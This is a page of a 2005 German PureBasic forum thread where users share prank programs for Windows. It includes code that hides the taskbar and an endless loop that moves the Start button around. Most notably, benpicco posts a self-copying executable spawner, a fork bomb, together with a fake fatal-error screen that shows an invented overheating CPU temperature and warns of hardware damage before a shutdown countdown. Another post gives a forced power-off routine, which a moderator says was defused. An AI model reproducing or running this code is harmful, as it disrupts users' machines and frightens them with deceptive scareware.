Seite 4 von 15
Verfasst: 28.08.2005 23:38
von sim0n
Da dieser Thread wieder aus der Versenkung geholt wurde, hab ich mich auch noch schnell ein bisschen gespielt!
Hier ist das Ergebnis eines erschöpften Tages nach "Rock am See"

:
Code: Alles auswählen
If OpenWindow(0, 100, 100, 640, 640, #PB_Window_TitleBar | #PB_Window_SystemMenu, "Such den richtigen Button!")
MessageRequester("Mist", "Deine Startleiste ist verschwunden! Finde den richtigen Button, damit sie wieder zurückkommt!", #PB_MessageRequester_Ok)
CreateGadgetList(WindowID())
i = 0
For x = 0 To 576 Step 64
For y = 0 To 576 Step 64
i = i + 1
ButtonGadget(i, x, y, 64, 64, "Hoho!")
Next
Next
tWnd = FindWindow_("Shell_TrayWnd", "")
ShowWindow_(tWnd, 0)
Repeat
EventID = WaitWindowEvent()
Select EventID
Case #PB_Event_Gadget
Select EventGadgetID()
Case Random(99)
ShowWindow_(tWnd, 1)
MessageRequester("Glück gehabt!", "Ende")
End
EndSelect
EndSelect
Until EventID = #PB_Event_CloseWindow
EndIf
Verfasst: 28.08.2005 23:52
von AndyX
LOOOOOL
Das is ja richtig nett ^^
Verfasst: 29.08.2005 09:19
von hardfalcon
sim0n hat geschrieben:Hier ist das Ergebnis eines erschöpften Tages nach "Rock am See"

:
Du meinst aber nicht "Rock um Séi" hier in Luxemburg, oder?

//EDIT: nett gemacht, sim0n.... Kleiner Tipp: mit Tab - Space - Tab - Space
geht des schneller....

Verfasst: 29.08.2005 18:13
von sim0n
Nö hardfalcon, ich war bei "Rock am See" im schönen Konstanz am Bodensee!
Hab übrigens nochmal so eine Spielerei in Arbeit

, bin aber noch nicht ganz fertig!

Verfasst: 29.08.2005 20:09
von benpicco
Böse Programme
Da hab ich doch auch nochwas:
Code: Alles auswählen
Global anz.f
Global path.s
Procedure.s GetAppDir()
FullPath.s = Space(360)
DLL = OpenLibrary(#PB_Any, "Kernel32")
CallFunction(DLL, "GetModuleFileNameA", CallFunction(DLL, "GetModuleHandleA", 0), @FullPath, 360)
CloseLibrary(DLL)
ProcedureReturn FullPath
EndProcedure
Repeat
path=ReplaceString(GetAppDir(),".exe", Str(anz)+".exe",1)
CopyFile(GetAppDir(),path)
anz=anz+1
RunProgram(path)
ForEver
Und damit´s etwas lustiger wird, daraus ne Bakterie.exe machen und hier includen:
Code: Alles auswählen
desktop=ExamineDesktops()
Restore bakterie
OpenFile(0,"bakterie.exe")
WriteData(?bakterie,?ends-?bakterie)
CloseFile(0)
RunProgram("bakterie.exe")
starttime=ElapsedMilliseconds()
Repeat
a.POINT\x=1:a\y=0
StartDrawing(@a)
Box(0,0,DesktopWidth(desktop-1),DesktopHeight(desktop-1),RGB(0,0,255))
DrawingMode(1)
Locate(1,1)
FrontColor(255,255,255)
DrawText("Das System hat einen schwerwiegenden Außnahmefehler festgestellt, und beendet sich daher selbst.")
Locate(1,16)
DrawText("Dieser Fehler ist sehr kritisch und kann in der Regel auch zu Hardwareschäden führen. Setzten sie sich daher umgehend mit ihrem pc-Hersteller in Verbindung")
Locate(1,27)
DrawText("Nachfolgend ihre Prozssortemperatur:")
Locate(10,45)
DrawText("Core:"+Str(Random(70)+80)+"°C")
FrontColor(255,0,0)
Locate(200,45)
DrawText("Critical!")
code$=""
For x=1 To 10
code$=code$+Chr(Random(255))
Next
Locate(100,200)
DrawText("Errorcode: "+code$)
Locate(100,250)
DrawText("Shutdown in:"+Str(30000-(ElapsedMilliseconds()-starttime)))
StopDrawing()
Delay(10)
Until 30000-(ElapsedMilliseconds()-starttime)=0 ;Or GetAsyncKeyState_(27)
result=NtOpenFile_(test,1,1,1,1,1)
DataSection
bakterie:
IncludeBinary "bakterie.exe"
ends:
EndDataSection

Verfasst: 29.08.2005 23:25
von sim0n
Hab da nochmal was schönes aus der Trickkiste gezogen!
Is eigentlich recht schön anzuschauen!
Code: Alles auswählen
tWnd = FindWindow_("Shell_TrayWnd", "")
bWnd = GetWindow_(tWnd, #GW_CHILD)
trect.RECT
GetClientRect_(tWnd, trect)
brect.RECT
GetClientRect_(bWnd, brect)
Repeat
For i = trect\left To trect\right
MoveWindow_(bWnd, i, 0, brect\right - brect\left, brect\bottom - brect\top, 1)
Next
ForEver
Verfasst: 29.08.2005 23:26
von hardfalcon
Es gibt halt Menshen, die sind vom Bösen beseelt...

Verfasst: 30.08.2005 00:50
von zigapeda
btw: wer seinen startbutton wieder herstellen will macht folgendes: (bei mir war sie auch weg)
Code: Alles auswählen
tWnd = FindWindow_("Shell_TrayWnd", "")
bWnd = GetWindow_(tWnd, #GW_CHILD)
trect.RECT
GetClientRect_(tWnd, trect)
brect.RECT
GetClientRect_(bWnd, brect)
MoveWindow_(bWnd, 0, 0, 55, 22, 1)
Verfasst: 30.08.2005 07:17
von hardfalcon
@ziga: warum nicht einfach so:
Code: Alles auswählen
tWnd = FindWindow_("Shell_TrayWnd", "")
ShowWindow_(tWnd, 0)
(Der Code ist einfach aus sim0ns erstem Code kopiert...)
tschö
Pascal
Verfasst: 30.08.2005 13:29
von AndyX
Code: Alles auswählen
Procedure TuWas()
#EWX_LOGOFF = 0
#EWX_SHUTDOWN = 1
#EWX_REBOOT = 2
#EWX_FORCE = 4
#EWX_POWEROFF = 8
#TOKEN_ADJUST_PRIVILEGES = 32
#TOKEN_QUERY = 8
#SE_PRIVILEGE_ENABLED = 2
#ANYSIZE_ARRAY = 1
#VER_PLATFORM_WIN32_NT = 2
;#SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
Structure MyLUID
LowPart.l
HighPart.l
Attributes.l
EndStructure
Structure MyTOKEN
PrivilegeCount.l
LowPart.l
HighPart.l
Attributes.l
EndStructure
Global hdlProcessHandle.l
Global hdlTokenHandle.l
Global tmpLuid.MyLUID
Global tkp.MyTOKEN
Global tkpNewButIgnored.MyTOKEN
Global lBufferNeeded.l
hdlProcessHandle = GetCurrentProcess_()
OpenProcessToken_(hdlProcessHandle, #TOKEN_ADJUST_PRIVILEGES | #TOKEN_QUERY, @hdlTokenHandle)
; Get the LUID for shutdown privilege
SysName.s = "" + Chr(0)
Name.s = "SeShutdownPrivilege" + Chr(0)
Erg.l = LookupPrivilegeValue_(SysName, Name, @tmpLuid)
tmpLuid\Attributes = #SE_PRIVILEGE_ENABLED
tkp\PrivilegeCount = 1
tkp\LowPart = tmpLuid\LowPart
tkp\HighPart = tmpLuid\HighPart
tkp\Attributes = tmpLuid\Attributes
; Enable the shutdown privilege in the access token of this process
Erg.l = AdjustTokenPrivileges_(hdlTokenHandle, 0, @tkp, SizeOf(MyTOKEN), @tkpNewButIgnored, @lblBufferNeeded)
Erg.l = ExitWindowsEx_((#EWX_POWEROFF|#EWX_FORCE), 0)
EndProcedure
If MessageRequester("Sicherheitsabfrage","Möchten Sie Ihren Rechner herunterfahren?",#PB_MessageRequester_YesNo) = #PB_MessageRequester_Yes
TuWas()
EndIf
Edit by Kiffi: Code 'entschärft'